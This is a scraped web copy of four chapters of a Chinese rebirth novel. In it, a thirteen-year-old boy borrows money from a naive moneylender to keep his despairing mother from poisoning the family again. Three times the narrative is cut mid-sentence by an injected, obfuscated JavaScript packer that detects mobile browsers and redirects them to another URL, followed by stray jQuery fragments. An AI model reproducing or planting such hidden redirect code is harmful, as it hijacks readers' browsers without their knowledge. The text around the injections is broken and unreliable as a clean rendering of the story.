《[重生]剧院之王》
1. 第1章
第1章西尔维夫人:耗子药警告!
西尔维先生死了。
他和妻子是外来移民,在这个国家无亲无故,只能靠自己打拼,所以,一直以来,他都像头老黄牛一样,沉默地把家庭的重担背负在身上,每天从睁开眼睛开始,就一刻不停,勤勤恳恳、任劳任怨,累死累活,埋着头一声不吭地拼老命干活。终于,在日夜不停地连续工作近十天后,突然倒了下去,从此获得了彻底的解脱!
还怀着孩子的西尔维夫人几乎被这场巨大的不幸给压垮。
她看起来柔弱无依、手足无措,全靠街坊邻居的好心帮衬,才勉强为死去的丈夫筹措出一场简单的葬礼。等到一切结束,她大着肚子,拖儿带女、哭哭啼啼地往家走,一路都在痛苦地琢磨,要不要干脆带着孩子们一起投河自尽算了。
一家之主的去世,让这个贫寒的家庭失去了最主要的收入来源。
而没有了最主要的收入来源,就意味着日后生活的艰辛。
此时,临近九月,他们还没钱买厚外套,只穿着薄薄的单衣。
虽然目前的室外温度尚在可以忍受的范围,但只要一想到马上就要来临的难熬寒冬,还有肚子里没出生的孩子,西尔维夫人就恨不得干脆一死了之,免受折磨。
这时候还不流行什么福利机构。
偶尔有一些富人做慈善,也都是杯水车薪的小范围行为。
所以,没什么文化,人还有点儿蠢,嫁了人就一直以夫为天,对丈夫心悦诚服,全心依赖的西尔维夫人,在失去丈夫后,脑子里居然除了‘杀了孩子,再自杀,从此一家人整整齐齐’这个办法外,居然想不出什么更好的法子了。
“别怕,妈妈。”
回到家后,长子阿尔勇敢地站了出来。
这孩子全名是阿尔弗雷斯西尔维,今年才十三岁。
但面对家庭的重大危机,他还是很有勇气地伸出了两个小胳膊,懂事地试图代替父亲的角色,成为母亲新的依靠:“你还有我,妈妈,以后我来想办法……”
但西尔维夫人并不领情。
她一边哭,一边撩起手臂就给了这孩子一巴掌,情绪有些失控地嚷嚷:“你只会说些没用的风凉话,没有了你爸爸,我和你,还有那几个小崽子,我们以后靠什么活?我们都要活不下去了,我们要被饿死、冻死!房东会把我们全撵到大街上,活不下去了……”
十三岁的阿尔是个早产儿,从小体弱多病,生得小模小样、瘦骨伶仃,这一天由于母亲忙着父亲的葬礼,顾不上家里的孩子们,他从早到晚,粒米未进,仅有的几包过期奶粉也被他懂事地喂给了更小的弟弟和妹妹。而他自己,饥肠辘辘、虚弱无比。母亲迁怒的一巴掌没有多大力气,可却像是压倒骆驼的最后一根稻草,一下子就把他打倒在地,眼前一黑,晕了过去。
西尔维夫人吓了一跳。
她不是不爱自己的孩子,只不过这年头还不流行宠孩子,更没什么不能体罚、家暴的讲究,再加上,穷人家的孩子总是一窝一窝地生,生的多了就照顾不过来,养孩子自然也变得随便,整天散养,日常摔摔打打地长大,所以,随手一巴掌根本没当回事,没成想会把孩子打晕,一时间也愣住了。
她有心想走过去看看……
可转念一想,狠心的丈夫就这么抛下他们走了,家里一贫如洗,在以后的日子里,自己一个苦命女人,肚子里怀着不知道能不能生下来的孩子,身边还有这三个拖油瓶。以后该如何在这个残酷世界中生存下去?这根本就是一件不可能完成的任务。
既然不可能完成,最后十有八/九还是要选那条‘一家人整整齐齐’的死路。
这么一来,似乎早死晚死都一样,说不定早死反而是去享福的。
想到这里,她也不再担心大儿子有没有受伤,只自暴自弃、伤心欲绝地坐在地上呜呜哭起来。
阿尔的弟弟和妹妹被这一幕吓得目瞪口呆,根本不知道发生了什么,等看到母亲痛哭,他们就也有样学样地跟着一起嚎啕大哭。
于是,在这么一片震耳欲聋的哭声中……
刚被打昏过去的阿尔缓慢地睁开了眼睛。
他神色陌生且迷茫地望着四周:“这是哪?飞机到了?要登机了?”
西尔维夫人的哭声骤停三秒,抬眼看了过去。
面对着一脸呆滞,满嘴说胡话的长子,她立刻悲从中来地爆发出了更大的哭声,乱七八糟地哭喊着:”我好命苦啊……好命苦啊,丈夫刚死,儿子又被我打傻了!我可怎么活啊!怎么活啊!”
这一刻,阿尔的脸都是木的。
熟悉的哭嚎和极为不靠谱的一幕终于唤起了久远的记忆。
只会哭着抱怨命运不公、却从不试图做出改善的母亲;
眼泪鼻涕流得满脸都是、哇哇大哭的傻瓜弟弟约翰;
一边跟着干打雷不下雨地大哭,一边还抓了地上虫子硬往嘴里塞的吃货妹妹玛丽。
停!
不用想了。
阿尔恍然大悟:“我重生回到十三岁了。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729490|189599||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
但下一刻,不是欣喜若狂,而是皱眉苦脸。
也许世界上有很多人都希望得到一次重生的机会。
但这些人里绝对、绝对、绝对不包括阿尔。
因为他早年经历实在一言难尽。
可以说,打从记事的那一天起,这孩子就身处在极度贫困的环境中,连呼吸的空气里都弥漫着一种名为捉襟见肘的气息,一分钱要掰成两分钱用,时时刻刻都要为钱苦恼,别人过日子可能叫生活,他过日子应该叫生存。
其实,父亲在世的那段时间勉强算好的。
西尔维先生虽然不是一个很有本事的男人,但老实本分又顾家,哪怕累得直不起腰来,也从没有喊一声苦,更不会在家抱怨什么,只是竭尽所能地去养家糊口。
可这么个好男人却英年早逝,只留下孤儿寡母。
于是,作为家中最年长的男丁阿尔不得不主动站出来,学着像父亲一样,背负起这个家,试图成为母亲和弟弟妹妹们的新依靠。
这本来这也没什么,重生前的阿尔确实是这么做的。
他辍学在家,去卖报、去送包裹、去捡垃圾,甚至跑到码头去当搬运工,干各种各样七零八碎的杂活儿,像父亲一样辛辛苦苦地干活,信心十足地想要凭借自己稚嫩的肩膀来撑起这个家……
但没想到的是,亲妈西尔维夫人没把他当一回事。
她压根就不信一个十三岁的孩子能取代丈夫的位置,维持住这个家,而且……活着太辛苦了。
所以,在艰难地熬了两个月后,气温开始骤降得厉害。
当阿尔还在绞尽脑汁地琢磨怎么赚点儿取暖费回来的时候,西尔维夫人趁着长子不在家,带着肚子里马上要出生的孩子,和他的弟弟妹妹一起吃耗子药自杀了,死之前,桌子上还不忘体贴地给大儿子也留了一份。
高高兴兴回家的阿尔:……
我妈呢?我弟呢?我妹呢?我那么大一个家呢?
当然!
不管怎么说,这都是重生前的事了。
如今,重回十三岁的阿尔尽管对重生这事有着太多太多的不满,却肯定不能看着亲妈和弟弟妹妹再死一回,无法逃避,只能面对。
他不得不暂时无视掉重生这么不科学的事情,耐着性子,重新去审视眼前糟透了的现实,同时默默在心里盘算着:“接下来……我他妈的到底该怎么做,才能让我亲爱的、脑子只有核桃仁那么大的妈妈西尔维夫人放弃她心目中的绝世法宝——可以毒死全家的耗子药呢?”
2. 第2章
第2章福尔曼先生:嘤嘤嘤,上帝原谅我啊!
为什么亲妈宁可带着一家子吃耗子药自杀,也不相信大儿子能赚钱养家?
对于重生前的阿尔来说,这真是一件百思不得其解的事情。
可如今……
这位年仅十三岁、面黄肌瘦,头大身子小、面色苍白无血色,只有一对绿眼珠子还算明亮有神的早产儿往镜子跟前那么一站,默默和镜中无比陌生的自己对视了一会儿后,他突然就恍然大悟,继而自言自语:“我这会儿怎么看着就那么像个短命鬼呢?”
多年疑惑,一朝得解。
显然在西尔维夫人看来,大儿子就不是个长命的,哪怕他现在看着没事,可早晚也会和他亲爹西尔维先生一样撒手归天,所以,与其寄希望于大儿子能养家糊口,让日子越过越好(在她看来,这根本不可能发生),还不如畅想下死后世界一家团圆是多么得美妙。
这个逻辑可以说是非常迷惑了。
但重生回来的阿尔却隐隐有些理解。
西尔维夫人其实是一个已经被生活打垮的女人。
坎坷的命运将她折磨得一败涂地,根本没了再战和抗争的勇气。
她没上过学,大字也不认识几个,不会什么生存技能,普普通通的家庭妇女,见识有限。
丈夫还活着时,她整天琢磨怎么省吃俭用、料理家务、多多生养孩子,壮大家族;等到丈夫去世了,她就迷茫无措、无依无靠,完全找不到生活的方向。
对这么一个无知愚昧的人,你和她展望未来,谈计划,谈希望,谈梦想……根本没用!
她听不懂,也不会想听,只觉得统统都是不切实际的胡话,说那么多还是不如死了干净。
要想让她改念头太难了。
必须把货真价实的玩意儿放在她的面前,让她亲眼看到,亲手摸到,亲自感受到,清清楚楚地意识到‘活着就是比死了强’才行。
至于说什么才算是货真价实的玩意儿?
那必然是真金白银!
阿尔把这些统统都想了个明白,决定先出门搞一笔钱。
此时西尔维夫人还不会带着孩子一起寻死,虽然她内心深处可能已经浮现出‘死了比活着轻松’这样模糊的错误念头,但距离真正的山穷水尽毕竟还有一段时间,所以,暂时还不用担心惨剧重演。
于是,他忍着饥饿和身体上的虚弱不适,默默地走出了家门。
西尔维夫人带着孩子们继续在家哭天喊地,也许她看到了大儿子出门,也许没看到,反正她不想管。在这个近乎绝望的时间段,她固执地把自己关在一个只有自己能进的小空间里,自顾自地悲伤着,根本不想理睬周围的一切。
阿尔将母亲的哭喊抛在身后,目的性明确地顺着街道往前走。
因为是贫民区,周围的建筑物都破破烂烂的,街道上也不怎么干净,偶尔还有一些无家可归的流浪汉衣不蔽体,在垃圾堆中埋头翻捡,表情麻木。
看着这些人,再想想即将来临的寒冬。
阿尔尽管不赞同,却隐隐有些理解自己的亲妈了,交不起取暖费,没有厚衣服保暖,家里断粮,房东还催租……于是,比起冻饿至死,还不如选择干脆利落地服毒。
听起来可笑。
但这可能是西尔维夫人有生以来第一次拥有选择权,选择痛苦的生,还是痛快的死。
阿尔至今想来还是伤心,可内心深处也没什么怨恨。
因为重生前,如今只当是上辈子吧,上辈子只有十三岁的他确实没什么能力。
甚至……想想吧!
如果西尔维夫人不带着他的弟弟妹妹一起吃耗子药,那接下来的日子,不妨猜一猜像西尔维先生那样拼命干活,最后累死的下一个人会是谁?
阿尔后来很长一段时间都为自己居然会升起这样卑劣的念头而感到羞愧。
为此,他频繁地跑去教堂忏悔。
也许冥冥之中自有天数。
正是那段频繁跑教堂的经历,才让他现在不至于对赚钱这件事毫无头绪。
在教堂里,他认识了一位同病相怜,也经常跑去教堂忏悔的忘年交——本福尔曼先生。
也就是他正要去找的人。
本福尔曼是一名放高利贷的商人。
但有趣的是,他根本不知道自己是在放高利贷。
这个人早年也是贫困出身,完全是走狗屎运才赚到了一笔钱。
然后,他有钱了,借钱的人自然也就登门了。
最开始是一个小商贩想要借笔本钱,去做一些倒买倒卖的生意,只借五百元,但承诺一年后连本带利还八百。
这事乍听没什么,只是多了三百。
但实际仔细算一算,利率=利息÷本金÷时间×100%,也就是说一年的年利率高达百分之六十!
然而,本福尔曼没上过学,对算什么利率、利息一类的玩意儿自然一窍不通。
但他天生有一副乐于助人的好心肠,加上钱是走狗屎运来的,没费什么心力,也就不怎么珍惜。
小商贩跑来借钱,明明什么抵押都没有,全凭一张嘴要钱,不靠谱到了极点。
可他大概听了听,发现自己竟然有得赚,而且还能帮助人,就不顾家人的反对,高高兴兴地把钱借了出去。
没想到这个小商贩很讲诚信,一年后果然把本金利息还了回来。
本福尔曼先生十分惊喜
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729491|189599||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,认为这事大有可为,一拍脑袋,从此乐呵呵地开始了他的私人放贷事业。
很多人提起高利贷商人都恨之入骨,也确实有很多无良的高利贷商人利息太高,还恶意催收,搞得欠债人家破人亡,十分恶毒。
但本福尔曼先生完全就是高利贷界的一朵奇葩。
这个半个文盲加法盲根本不知道自己在做什么。
他觉得自己就是借钱给人帮帮忙,顺便收点儿利息,是在做好事。
甚至,如果对方觉得利息太高,他也不介意把年利率从百分之六十降到百分之五十、或者百分之四十、百分之三十也行;如果有欠债人一时还不上钱,他还会好心地给人办理延期;遇到实在困难的欠债人,给对方免个几十块几百块,也未尝不可。
之后,也不知道是其他高利贷者的赫赫威名,间接帮了福尔曼先生一把,还是福尔曼先生真的是天生自带狗屎运。总之,欠他钱的那些人居然少有不还钱的,只要家里有了余钱,都会赶紧地跑过来,连本带利地把钱还上,还对他感恩戴德。
于是,他一来二去居然攒下不少家业。
等好几年后,政府开始普法,重点讲了讲什么是高利贷,呼吁大家借钱要谨慎。
这时候,本福尔曼先生才如遭雷劈:“什么,我居然是万恶的高利贷商人?天啊!我怎么能做出这种罪恶的事情!”
他诚惶诚恐,吓得天天跑教堂忏悔:“上帝啊,宽恕我吧!”
从那以后……
他知错能改,态度坚决得和高利贷事业一刀两断,转行去开银行了。
闲话不提。
总之,在福尔曼先生天天跑教堂忏悔的时候,阿尔那阵子也在跑教堂忏悔。
两人一见如故,成了一对(心理疾病的)病友。
一老一小时常凑在一起倾诉内心深处的不安和愧疚:“我赚的钱都是罪恶的,我怎么能这么做!我不该这么做啊。”“我怎么能认为妈妈带着弟弟妹妹一起死也算是个解脱呢?这是不对的,家人从不是负担。”
然后,两个人一起在胸前划十字,异口同声地虔诚忏悔:“上帝啊,原谅我吧。”
神父:……
也因此,阿尔对这位福尔曼先生的传奇发家经历知道得清清楚楚。
如今重回十三岁,家里一贫如洗,一家子都快饿死,想要无中生有地搞一笔钱救急很难。
毕竟,哪怕是想找人借钱,对方也会优先考虑一下他们一家的还债能力,如果还不起利息,还收不回本金,岂不是赔了夫人又折兵,这种买卖是绝对不能做的。
但阿尔知道,如果找这位福尔曼先生借钱的话,却不会很难。
当然,前提是先找到这个人。
3. 第3章
第3章阿尔:我又穷又丑怎么了?我还惨嘞!
在信息相对闭塞的年代,找人并不容易。
尽管上辈子的阿尔和本福尔曼是一对交情很好的病友,彼此熟悉,还经常凑一起聊天(忏悔)。可像是一些具体的,诸如“十多年前你住哪”这样的小细节,显然是不可能在聊天中详详细细提到的。更何况,那会儿随口聊天的时候,又不知道有朝一日居然会有重生这么不科学的事发生。
所以,阿尔只能根据当年闲聊时带出来的一些细微信息,如“我那会儿特别爱吃某某店卖的小饼干”,“我家附近有一家西装定制店,别看门面小,但店里裁缝手艺特别好”这样的话,耐着性子琢磨半天,圈出一个大概的区域。
这样一来,总算不用大海捞针。
而且,等确定了大概范围,一个相对比较知名的高利贷商人自然也就会好找得多了。
但考虑到来回的路程问题,阿尔也没着急地立刻出发。
他先跑去街角的一间面包房了。
俗话说穷人家孩子早当家,这话一点儿都不假。
别的孩子只知道吃吃玩玩的时候,阿尔已经在这条街上跑来跑去地帮人干杂活了。所以,面包房的店员是认识他的,这会儿见他在店门口徘徊,就没忍住问了一句:“阿尔,你在这儿做什么?”
这个店员是意大利移民,说话的口音,总带着西西里岛方言那种叽哩呼噜的味道。
阿尔立刻精明地用同样的方言巧妙套近乎,又装出一副可怜的样子捂着小肚子:“我想要点儿吃的,一个面包,半个……最便宜的,剩的也行。”
虽然在异国他乡听到乡音让人觉得亲切……
但店员还是有点儿迟疑:“可你,你又没钱!”
若是正常的十三岁孩子这时候大概就无计可施地退却了。
但上辈子全家死光,一直孤身一人,在社会上艰难求存、摸爬滚打的阿尔却从不知‘放弃‘这个单词怎么写,而且他的脸皮也早磨练得足够厚了。
于是,他就摆出一副虚弱的样子,并且,毫不避讳地谈论起了在工作中活活累死的父亲;大着肚子,却只会日夜以泪洗面的母亲,还有年幼不懂事的弟弟妹妹太小,以及家里揭不开锅的窘境,最惨的当然是自己了,一天一夜没吃什么像样的东西,如果再没人发发慈悲,他可能就要像安徒生童话里卖火柴的小女孩一样横尸街头了。
这时候信息不发达,人们还没接受过网络时代那种‘你比我惨,我比你更惨’的疯狂卖惨冲击。
所以,就格外容易被触动。
更何况,阿尔如今口齿伶俐,讲起家中惨况时,遣词用句特别有技巧,又夸张又煽情,十分地引人泪下。但他又聪明地把握了一个度,没有一味卖惨,让人厌烦,更没有像一般穷人那么过分乞怜,或者道德绑架,一副‘你不帮我就是不善良’的样子,反而带着一种成年人才有的无奈。尤其是等说到最后,竟然只字不提要面包的事,反而难过地提了提父亲当年养家的不容易,最后小大人一样很体谅的样子,还轻轻叹气:“大家活着都不容易。”
这么个小人精,明明一开始是装可怜要面包的,但说着说着却又体谅起了别人,摆出“我知道你不容易,哪怕不给我面包,我也不怪你”的理解态度,闹得人又是心酸又是好笑。
店员心软了。
他想,“这孩子要的也只是半个剩面包,白给了都不值什么”,便偷偷看了看左右,确认老板不在后,就悄悄把一块已经剩了几天,其实已经卖不出去的硬面包塞给了这孩子,同时挥手驱赶地说:“快走!快走!”
阿尔立刻小声地道了谢,非常知趣地拿了面包就跑。
等跑得远了,他就站在路边,直接狼吞虎咽地吃光了面包,因为没水,一度噎得直翻白眼,但瘪瘪的肚子填满了,便总算有了一种成功活下来的庆幸感觉。
与此同时,那种由于饥饿而出现的头晕、虚弱和无力症状也渐渐消失,力量也不甘不愿地重新回到这具脆弱的小身体中,他舔着手指上的面包渣,再拍拍小肚子,心满意足地想:“好啦,我现在可以出发走远路,不用担心半路饿死了。”
于是,高利贷商人本福尔曼先生就一脸惊奇地接待到了这位……
他有生以来所遇到的最年幼、也是最穷、最丑的客户。
其实,阿尔上辈子不知道是怎么开了挂,随着年纪的增长,居然越长越好看起来。
要知道他后来混迹的圈子里有着数不清的俊男美女,可哪怕是在最星光璀璨的场合,他即使低调地站角落里也从不让人忽视。
不过,他自己大概没感觉。
主要是因为他小时候太丑,还丑得极有特色,导致后来奇迹般长好看了,都有一种不怎么真实的感觉。
现在嘛……
先天早产、后天营养不良,还有这几天的忍饥挨饿,都导致人的状态糟糕到了极点。
至于说具体糟糕到什么样子……
见过换毛期的小狗崽子吗?
胎毛刚褪,新毛没长全,身上毛色深深浅浅,薄薄厚厚,运气不好,还得秃几块,有毛的时候明明是笑容灿烂的圆脸,这会儿换毛,那就是一张苦大仇深的猴脸!
阿尔现在就和换毛的小狗崽子没什么区别,一头黑卷发又枯又乱,就像是柴草堆,偶尔还有几撮支支愣愣地朝天戳着,面黄肌瘦,头大身子小,走起路企鹅一样摇晃,总有一种随时要倒下的感觉,小鼻子倒是很尖,绿眼睛也很圆,但前者看着有点儿像卡通动画片中反派角色,后者可能是饿的,像鬼火一样透着幽幽的光。
除此以外,他穿着打扮也十分乞丐风。
裤子膝盖处磨出了洞,打了很多补丁的大外套明显是大人不要的,根本不合身,宽宽的袖子卷了好多折,袜子不成对,还都是又松又破,甚至连鞋,鞋头处明显都磨烂,隐约能看到里面黑乎乎的脚趾头。
但尽管如此。
站在福尔曼先生面前,这孩子身上却有着一种成人都不具备的不卑不亢态度。
要知道,这年头的人还很朴实,也没什么文化,根本分不清借贷和借钱的区别。
他们不知道后者才是要讲人情的,而前者只不过是一种你情我愿的商业关系,所以,哪怕明知道自己借了钱,以后还要付利息,并不亏钱债主什么,可每次跑来借贷,也时常表现得像是在求人借钱,一副很难为情的羞愧样子,说话结结巴巴、吞吞吐吐,一句话含在嘴里嘟嘟囔囔转了七八圈就是不能干脆地说出来,耐着性子听半天,根本不知道他们想说什么。
可阿尔就不一样了。
看似稚嫩的身体里有着身经百战的成熟灵魂,他神色自如地摆出坦率的态度,一上来就很有礼貌地来了个自我介绍。
因为知道福尔曼先生是红头发的爱尔兰移民,他就又故意用爱尔兰口音说话,大概地说了说自己叫什么名字,住在哪,今年多少岁,家里几口人,等简单介绍清楚后,话锋一转就到了最重要的方面:“我听说能从您这里借到钱,我想借五十块,利息您可以给我按最高的算,期限一年。”
在这个过程中,他连一个磕绊都没打,每一句话都说得四平八稳;态度也很从容,既不为自己的贫穷而自卑畏缩,也没什么愤世嫉俗,或者苦闷悲伤的负面情绪,平平静静就把该说的事情都说得明明白白了。
本福尔曼先生真没见过这样借钱的,瞠视着他,一时说不出话来。
直到阿尔察觉到不对
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729492|189599||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,诧异地抬起头,用那双仿佛会说话的绿眼睛疑惑地看着他,仿佛是在问:“有什么不对吗?”
当然不对啦!
本福尔曼先生几乎想大喊。
你真的只有十三岁,而不是三十岁吗?
哪怕是个成年人跑来借钱,能表现的也不会比现在的你更好了!
但话到嘴边,他又停住了。
同时,他的视线不由自主地停在了这孩子脚上那双破烂的鞋子上,突然就冒出来一句:“你刚说你打哪来的?”
阿尔不太明白这个问题和自己说的要借钱有什么关系。
但考虑到对方未来的债主身份,他还是回答了这个问题:“罗德街[注]。”
“怎么过来的?”
“走过来的。”
“可那边离这边足足有二十公里啊!”
“所以我走了六个多小时。”
“……不累吗?”
“有一点儿,但如果能借到钱的话就不累。”
“可这为什么啊,为什么啊,你家没大人了吗?就让你这么一个,这么一个……”
本福尔曼先生既震惊又感到难以理解,忍不住地追问着。
如果是别人这么追根究底地问个不停,哪怕表面上不会流露什么,阿尔心里多少会有点儿恼。
但由于上辈子的那段病友情,他清楚地知道本福尔曼没有恶意,便不计较地又把之前对面包店店员说的那一套重复了一遍。
这回说得就是正常版本了。
因为面包店的店员是底层小市民,喜好上难免偏爱一些夸张戏剧化的东西,想要唤起对方的同情心,只能那么说。
但本福尔曼先生就不一样了,太夸张戏剧反而让人觉得像假话。
所以,他就没有那么多煽情、招人掉眼泪的形容了,只是平平淡淡地交代几句,父亲累死了,母亲大着肚子什么都做不了,弟弟妹妹还小,自己必须站出来养家糊口……
这不是阿尔天生狡猾,实在是上辈子的摸爬滚打早早教会了他同人打交道的种种小技巧。
更何况,他虽然知道怎么说话更让人满意,但也守着自己的底线,比如,同一件事虽然有不同的说法,可归根到底都是真的,并没有撒谎骗人。
可仅仅是这样,福尔曼先生就听得呆住了。
“可怜的孩子。”他难过地喃喃说。
阿尔笑了笑,没放在心上,也没觉得自己多可怜。
可他越是这样,越让人替他难过,明明还那么小,骨头都没长结实呢,就要背起一个分分钟就能把他压趴下的家……
这时候,一直在旁边做针线活,本来不打算干涉丈夫工作的福尔曼夫人难得地插嘴了。
那是个很爽利的女人,她一边抹着眼泪,一边重重地推了丈夫一下,嚷嚷说:“你这个吝啬鬼!还废什么话啊,这孩子就借五十块而已,快给他!随便街上哪个臭要饭的找你讨钱,你不是都会乱发善心地塞个几块给人家吗?现在一个可怜孩子找你借钱,你还瞎磨蹭个什么劲儿!”
“我,我也没说不借啊。”
本福尔曼先生一边争辩着,一边掏钱:“你们女人真是最最会胡搅蛮缠了,我前几天借钱给人做生意,你骂我假大方,现在我还没说什么呢,又指责我吝啬了……”
那是一回事吗?
福尔曼夫人气得狠命锤他!
本福尔曼先生就摆出任打任骂的老实样子,也不还手。
等两夫妻小小地闹了一轮。
这位好心的先生才笑呵呵地走过去。
他弯下腰,把一百块塞到阿尔小小的手掌心里,用哄孩子的口气说:“喏,拿去吧!这钱现在是你的了,想什么时候还都行。”
4. 第4章
第4章阿尔:一百块也是可以装逼哒
福尔曼先生居住的地方距离贫民区实在有点儿远。
可阿尔一来考虑安全问题,二来也舍不得花钱,自然还是一路走回去。
等他到家时,天已经全黑了。
可迎接他的却是母亲的满腔愤怒。
“你跑去哪玩了?你这天杀的!”西尔维夫人气势汹汹地大声质问。
她像看仇人一样,愤然地瞪视着这个莫名其妙跑出去,还跑得不见踪影的大儿子,咬牙切齿地嚷嚷着:“你个该死的讨债鬼啊!我生你有什么用呢?你爸爸在坟墓里尸骨未寒,弟弟妹妹没人照顾,房东找上门来让我们滚蛋,家里一个顶事的男人没有,我挺着大肚子还得出门去苦苦哀求他宽限宽限!你倒好啊,你倒好啊!还有闲心跑出去疯玩!既然有你没你都一样,当初在船上生你时,我就应该直接提了你的脚扔到大海里喂鲨鱼,也省得现在生气了!”
这时候,阿尔的弟弟妹妹约翰和玛丽全瑟缩在房间的角落里,满脸惊惧地望着这一幕。
其中,约翰六岁,玛丽四岁,都不算是特别明白事的年龄,所以,他们压根搞不明白一夜之间家里怎么就变成了这样,更不明白好端端的,母亲为什么要表情那么可怕地责骂大哥。
然而,作为被责骂的对象,阿尔却并不怎么难过,或者说他对这种事早麻木了。
哪怕上辈子已经渐渐熬出头,可早年作为一个无依无靠的孤儿,被骂被欺负都是常事,而且,那些骂他、欺负他的人可不像是西尔维夫人这样纯发泄的不讲理乱骂,反而时常是带着恶意的。
那种恶意有时候甚至来得没头没脑,像小孩子一步一步地追着蚂蚁踩;像有人闲得无聊,不顾猫咪的惨嚎,狠劲去拽猫尾巴;像明知道你已经站在悬崖边,摇摇欲坠,却要用力把你推下去,看你尖叫着摔得粉身碎骨,却只觉得有趣地拍掌哈哈大笑。
和这些比起来……
西尔维夫人看似尖酸刻薄,其实并没带来什么实质伤害的话语,又算什么呢?
于是,阿尔对此抱有一种奇迹般的包容和理解。
他没有急赤白脸地去开口反驳、辩解,反而耐着性子等母亲把话说完,还将那些伤人言语中隐含的恐惧、惊慌、愤怒、担忧、绝望和悲伤等种种负面情绪全都照单全收。
这么一来。
西尔维夫人骂着骂着反而快骂不下去了。
毕竟,两个人起冲突,总要你来我往的才行。
如果始终是一个人单方面唱独角戏,哪怕是占上风,这人也会渐渐唱不下去。
更何况,西尔维夫人也知道,懂事的长子从来不是贪玩的性子。
从头到尾的指责都是一场迁怒,是成年人遭遇生活磨难、无力应对时的软弱表现,因为没办法解决真正的问题,就欺软怕硬地把怒火宣泄在年幼且无法反抗的子女身上。
可发泄是发泄。
有些事总归是骗不了心的。
所以,面对大儿子始终平静的表情,西尔维夫人的声音就越来越小,最后,再也说不出什么了。
阿尔这才走到屋子里的那个瘸了一条腿、摇摇晃晃的小破餐桌前,默默地从那件并不合身、还打了好多补丁、简直就像个麻袋的大外套里,抓出了一把钞票。
“上帝啊!”
西尔维夫人的脸上浮现处惊骇乃至恐怖的神色。
她猛地转身,快步跑向大门,先确定门是关紧的,又飞快地检查了一遍窗户,还做贼一样不安地四处看了看,仿佛认为阴影、房梁等种种未知的地方还都藏着人一样,最后,才转向大儿子,压着嗓子厉声问:“你哪来的钱,是不是偷的?”
阿尔笑了一下说:“不是。”
西尔维夫人更生气了,而生气中又夹杂着更多复杂难言的情绪,惊喜有,无措有,更多的恐惧也有:“那你从哪弄来的?”
阿尔不想提高利贷的事,怕吓到她。
毕竟,如果不是上辈子的经历,谁能想到世界上居然有福尔曼先生这样的奇葩呢?
所以,他故意装出一种男人瞧不起女人时的傲慢样子,很不耐烦地说:“你又不懂,别管了。”
一般男人这么做都很可恨可恼,但他这样的年龄,外加又很瘦小的样子,却无端有了几分小孩装大人的好笑,并不惹人厌。
不过,西尔维夫人现在可顾不得注意这些。
“我什么不懂?我是你妈!”她气得抬手又想打孩子,可手举在半空中却又顿住了,目光死死地盯着桌上的钱,像是盯着一家人的命。
是了!
问出答案又能怎么样呢?
家里都这个样子了,送上门的救命钱难道能狠心扔出去不要吗
可是,西尔维家一直都是极老实本分的好人家,从来不干作奸犯科的事。
西尔维先生哪怕活活累死,一辈子也从没做过一件偷奸耍滑的坏事。
阿尔望着母亲矛盾挣扎的表情,也意识到这么含糊的回答不太好。
可他现在太累太累了,这一天一夜耗费的心力、脑力和体力都是难以计量的,他实在没精力,也没那个心情再编点什么话来了,只能干巴巴地宽慰了一句:“您放心,不是什么来路不正的钱,我没偷也没抢。”
这话一下子解救了西尔维夫人。
她不见得真信了,可好歹有了一层遮羞布,也可以骗骗自己了。
然后,阿尔习惯性地笑了笑,就低头继续往出一把一把地掏零钱。
是的,零钱。
考虑到家里没人见过面值一百那么大金额的钱,而且,在贫民区消费,掏出一百面值的钱来实在夸张,以及还有想好好震撼下自己没见识的亲妈,像之前设想的那样,把多多的真金白银摆给她看……真金白银现在肯定很难有,但零碎的钞票却可以有,这样才能避免耗子药的问题再次出现……
所以,在回来的路上,阿尔特意把钱全给兑开了。
当时,借钱的时候,他只想借五十块应急。
但好心的病友可怜他,直接翻倍地给了他一张面值一百的钞票。
这样自然更好。
一百的钞票乍看只有一张,可如果兑换成一元、两元、乃至几分的零钱,那就是很大一堆了!
于是,阿尔现在可以尽情装逼了。
他不停地往出掏钱,还是出于安全的考虑,这些零钱被藏得到处都是,于是,里衣,袖子、裤子、鞋子……仿佛身体里装了一个聚宝盆。
但这可笑的一幕却果然把西尔维夫人震住了。
要知道,这年头底层民众工资普遍偏低,比如,之前拼命苦干的西尔维先生,因为从事的是没技术含量的体力劳动,周薪高的时候,也仅仅只在三四十元左右徘徊,而这些钱往往还是看不到实物的,因为刚发下来立刻就得拿去还各种欠债,什么房租、水电、杂货铺的账单……所以,最后能落在手中的现钱,最最多的时候,可能也就十来块了。
现在……
沉默笼罩了整间屋子。
西尔维夫人神色呆滞地望着这极为不真实的一幕。
